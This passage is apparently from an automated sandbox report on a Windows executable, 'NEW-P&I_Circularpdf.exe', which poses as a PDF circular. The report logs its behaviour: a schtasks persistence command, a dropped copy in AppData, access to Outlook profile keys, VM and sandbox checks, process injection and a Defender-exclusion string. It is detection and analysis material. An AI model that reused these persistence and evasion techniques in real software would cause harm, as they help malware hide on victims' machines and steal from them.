                  Source: NEW-P&I_Circularpdf.exeReversingLabs: Detection: 22%
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeJump to behavior
                  Source: unknownProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe 'C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe'
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp'
                  Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp'
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_00D55955 push es; ret
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 7_2_00135955 push es; ret
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 8_3_012E9246 pushfd ; retf
                  Source: initial sampleStatic PE information: section name: .text entropy: 7.79009992591
                  Source: initial sampleStatic PE information: section name: .text entropy: 7.79009992591
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile created: C:\Users\user\AppData\Roaming\sfgTsm.exeJump to dropped file

                  Boot Survival:

                  barindex
                  Uses schtasks.exe or at.exe to add and modify task schedulesShow sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp'
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information set: NOOPENFILEERRORBOX

                  Malware Analysis System Evasion:

                  barindex
                  Yara detected AntiVM3Show sources
                  Source: Yara matchFile source: 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6840, type: MEMORY
                  Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                  Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                  Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: WINE_GET_UNIX_FILE_NAME
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLL
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWindow / User API: threadDelayed 1311
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWindow / User API: threadDelayed 8541
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 6844Thread sleep time: -103195s >= -30000s
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 6868Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 3040Thread sleep time: -922337203685477s >= -30000s
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 6568Thread sleep time: -14757395258967632s >= -30000s
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 6580Thread sleep count: 1311 > 30
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe TID: 6580Thread sleep count: 8541 > 30
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 103195
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeThread delayed: delay time: 922337203685477
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678923352.0000000007AF5000.00000004.00000001.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: vmware
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
                  Source: NEW-P&I_Circularpdf.exeBinary or memory string: Hyper-V RAW
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: VMWARE
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000003.890791103.00000000012E1000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: VMware SVGA II
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess information queried: ProcessInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess token adjusted: Debug
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess token adjusted: Debug
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeMemory allocated: page read and write | page guard

                  HIPS / PFW / Operating System Protection Evasion:

                  barindex
                  Injects a PE file into a foreign processesShow sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeMemory written: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe base: 400000 value starts with: 4D5A
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp'
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeProcess created: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.909646306.0000000001910000.00000002.00000001.sdmpBinary or memory string: Program Manager
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.909646306.0000000001910000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.909646306.0000000001910000.00000002.00000001.sdmpBinary or memory string: Progman
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.909646306.0000000001910000.00000002.00000001.sdmpBinary or memory string: Progmanlock
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
